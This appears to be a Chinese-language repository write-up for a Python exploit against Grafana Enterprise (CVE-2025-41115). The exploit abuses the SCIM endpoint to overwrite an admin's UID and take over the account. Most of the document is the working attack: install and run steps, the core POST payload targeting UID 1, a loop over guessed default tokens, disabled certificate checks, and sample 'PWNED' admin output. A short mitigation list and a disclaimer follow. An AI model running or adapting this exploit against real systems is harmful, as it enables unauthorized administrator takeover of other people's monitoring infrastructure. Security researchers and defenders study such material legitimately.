Grafana Enterprise SCIM漏洞利用工具(CVE-2025-41115)

4 阅读4分钟

Grafana Enterprise SCIM漏洞利用工具(CVE-2025-41115)

项目描述

这是一个用于演示和验证CVE-2025-41115漏洞的Python利用脚本。该漏洞是Grafana Enterprise中一个关键(CVSS 10.0)的安全漏洞,影响其SCIM用户配置功能。当攻击者能够向SCIM端点发送请求时,可以通过数字externalId参数覆盖现有用户的内部UID,从而实现权限提升管理员账户接管

⚠️ 注意:此工具仅供授权安全测试和教育用途。未经授权测试他人系统是非法行为。

功能特性

  • 自动化漏洞检测:自动尝试多个默认/泄露的SCIM令牌
  • 一键利用:只需提供目标URL即可尝试攻击
  • 实时反馈:清晰显示攻击结果和响应信息
  • 安全绕过:自动禁用SSL证书验证警告
  • 多令牌支持:内置多个可能有效的默认令牌
  • 时间戳防冲突:使用时间戳生成唯一攻击者邮箱

安装指南

系统要求

  • Python 3.x
  • requests
  • 网络访问目标Grafana实例的权限

安装步骤

  1. 克隆仓库
sudo git clone https://github.com/B1ack4sh/Blackash-CVE-2025-41115.git
cd Blackash-CVE-2025-41115
  1. 安装依赖
pip install requests
  1. 设置执行权限(可选)
chmod +x CVE-2025-41115.py

使用说明

基础用法

# 针对HTTP目标
python3 CVE-2025-41115.py http://target.com:3000

# 针对HTTPS目标
python3 CVE-2025-41115.py https://grafana.company.com

攻击流程

  1. 脚本会尝试以下SCIM令牌:

    • 用户自定义令牌(需手动修改代码)
    • 默认泄露令牌(多个常见默认值)
  2. 如果攻击成功,输出将显示:

    • 使用的有效令牌(部分)
    • 创建的恶意账户凭据
    • 完整的API响应(包含被覆盖的UID)
  3. 成功后,可以使用创建的邮箱地址和任意密码登录为目标管理员。

预期输出示例

[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000
[*] Trying default/leaked tokens + your token...
[+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...
[+] Login as: rooted1732212345@pwn.lab (any password) → you are now Admin!
[+] Full response: {
  "schemas": [
    "urn:ietf:params:scim:schemas:core:2.0:User"
  ],
  "id": "1",
  "externalId": "1",
  "userName": "rooted1732212345@pwn.lab",
  "name": {
    "formatted": "Pwned User"
  }
}

漏洞条件

目标必须满足以下配置:

  1. SCIM功能启用:enableSCIM = true
  2. 用户同步启用:[auth.scim] user_sync_enabled = true

核心代码

主利用函数

def try_exploit(token):
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/scim+json"
    }
    payload = {
        "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
        "userName": ATTACKER,
        "externalId": TARGET_UID,  # 关键参数:数字ID会被错误映射为内部UID
        "name": {"formatted": "Pwned User"},
        "emails": [{"value": ATTACKER, "primary": True}],
        "active": True
    }
    try:
        r = requests.post(f"{BASE}/api/scim/v2/Users", 
                         json=payload, 
                         headers=headers, 
                         verify=False, 
                         timeout=10)
        if r.status_code in (200, 201):
            print(f"[+] PWNED with token → {token[:20]}...")
            print(f"[+] Login as: {ATTACKER} (any password) → you are now Admin!")
            print(f"[+] Full response: {json.dumps(r.json(), indent=2)}")
            return True
        elif "Unauthorized" in r.text or r.status_code == 401:
            return False
        else:
            print(f"[?] Unexpected response {r.status_code}: {r.text}")
            return False
    except:
        return False

默认令牌列表

# 内置的默认/泄露SCIM令牌列表
DEFAULT_TOKENS = [
    "glsa_11111111111111111111111111111111_11111111111111111111111111111111",
    "glsa_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    "glsa_00000000000000000000000000000000_00000000000000000000000000000000",
    TOKEN  # 用户自定义令牌
]

主执行逻辑

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("[!] Usage: python3 CVE-2025-41115.py http://target.com")
        sys.exit(1)
    
    BASE = sys.argv[1].rstrip("/")
    print(f"[*] CVE-2025-41115 → Targeting {BASE}")
    print("[*] Trying default/leaked tokens + your token...")
    
    # 依次尝试所有令牌
    for t in DEFAULT_TOKENS:
        if try_exploit(t.strip()):
            sys.exit(0)
    
    print("[-] All tokens failed. You need a valid SCIM token (or the target is patched).")
    print("    Get one from: Admin → Authentication → SCIM → Generate token")

攻击者身份生成

# 使用时间戳生成唯一的攻击者邮箱,避免冲突
ATTACKER = f"rooted{int(time.time())}@pwn.lab"
TARGET_UID = "1"  # 目标UID,通常为管理员账户

受影响版本

版本状态
12.0.0 - 12.2.1❌ 受影响
12.3.0✅ 已修复
12.2.1(修复版)✅ 已修复
12.1.3✅ 已修复
12.0.6✅ 已修复

缓解措施

  1. 立即升级:更新到Grafana 12.3.0或已修复的维护版本
  2. 检查配置:如果不使用SCIM,确保enableSCIM = falseuser_sync_enabled = false
  3. 审计日志:监控意外的用户创建和权限变更
  4. 信任边界:仅允许可信的身份提供商访问SCIM端点

免责声明

本工具仅用于授权安全测试教育目的。使用者需确保:

  • 仅测试自己拥有或获得书面授权测试的系统
  • 遵守所有适用的法律和法规
  • 对使用此工具造成的任何后果承担全部责任

建议所有Grafana Enterprise用户立即检查并应用相关安全补丁。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5ChaGK4dzijQQbdG477RY9